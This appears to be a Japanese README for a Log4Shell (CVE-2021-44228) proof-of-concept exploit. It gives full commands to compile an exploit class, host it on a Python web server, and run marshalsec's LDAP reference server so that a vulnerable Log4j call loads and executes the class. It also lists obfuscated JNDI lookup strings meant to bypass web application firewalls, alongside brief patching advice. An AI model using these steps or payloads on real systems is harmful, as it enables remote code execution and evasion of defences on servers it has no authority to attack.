
Log4Shell(CVE-2021-44228)の概念実証エクスプロイト。JNDIインジェクションを介したリモートコード実行を実証し、ペイロードのコンパイル、LDAPサーバーのセットアップ、WAFバイパス手法を含みます。
1.x のバージョンには他の脆弱性が存在します。最新バージョンへの更新を推奨します。
Log4Shell(CVE-2021-44228)に関連するセキュリティアドバイザリ / 速報
このプロジェクトをダウンロードし、エクスプロイトコード blob/master/src/main/java/Exploit.java をコンパイルし、コンパイル済みバイナリのダウンロードを許可する Web サーバーを起動します。
git clone https://github.com/tangxiaofeng7/CVE-2021-44228-Apache-Log4j-Rce.git
cd CVE-2021-44228-Apache-Log4j-Rce
javac Exploit.java
# Web サーバーを起動
# Python2 の場合
python -m SimpleHTTPServer 8888
# Python3 の場合
python3 -m http.server 8888
# python Web サーバーが Exploit.class と同じディレクトリで実行されていることを確認するため、テストする
curl -I 127.0.0.1:8888/Exploit.class
別のプロジェクトをダウンロードし、JNDI 参照を返す LDAP サーバー実装 を実行します https://github.com/mbechler/marshalsec/blob/master/src/main/java/marshalsec/jndi/LDAPRefServer.java
git clone https://github.com/mbechler/marshalsec.git
cd marshalsec
# Java 8 が必要
mvn clean package -DskipTests
java -cp target/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://127.0.0.1:8888/#Exploit"
アクティベーションコードをビルドして実行します(脆弱な Java Web サーバーに対する log4j 攻撃をシミュレート)blob/master/src/main/java/log4j.java。すると電卓アプリが表示されます。
cd CVE-2021-44228-Apache-Log4j-Rce
mvn clean package
java -cp target/log4j-rce-1.0-SNAPSHOT-all.jar log4j
# 以下が期待されます
# 1. 電卓アプリが表示される
# 2. ldapserver コンソールに、
# Send LDAP reference result for Exploit redirecting to http://127.0.0.1:8888/Exploit.class
# 3. webserver コンソールに、
# 127.0.0.1 - - [....] "GET /Exploit.class HTTP/1.1" 200 -
ヒント:
現在の Java バージョンに頼って救われると思わないこと。Log4(または JNDI ルックアップの削除)を更新してください。展開を無効にしてください(いずれにせよかなり悪いアイデアのようです)。
例:
${jndi:ldap://127.0.0.1:1389/ badClassName}
${${::-j}${::-n}${::-d}${::-i}:${::-r}${::-m}${::-i}://asdasd.asdasd.asdasd/poc}
${${::-j}ndi:rmi://asdasd.asdasd.asdasd/ass}
${jndi:rmi://adsasd.asdasd.asdasd}
${${lower:jndi}:${lower:rmi}://adsasd.asdasd.asdasd/poc}
${${lower:${lower:jndi}}:${lower:rmi}://adsasd.asdasd.asdasd/poc}
${${lower:j}${lower:n}${lower:d}i:${lower:rmi}://adsasd.asdasd.asdasd/poc}
${${lower:j}${upper:n}${lower:d}${upper:i}:${lower:r}m${lower:i}}://xxxxxxx.xx/poc}
Web アプリケーションファイアウォールを信頼しないこと。
ルックアップは、Log4j 設定の任意の場所に値を追加する方法を提供します。
finally 内でリークを引き起こすメソッド
LogManager.getLogger().error()
LogManager.getLogger().fatal()
ブラックボックステストを行う場合は、パッシブスキャンを推奨します。
楽しんでください!!!
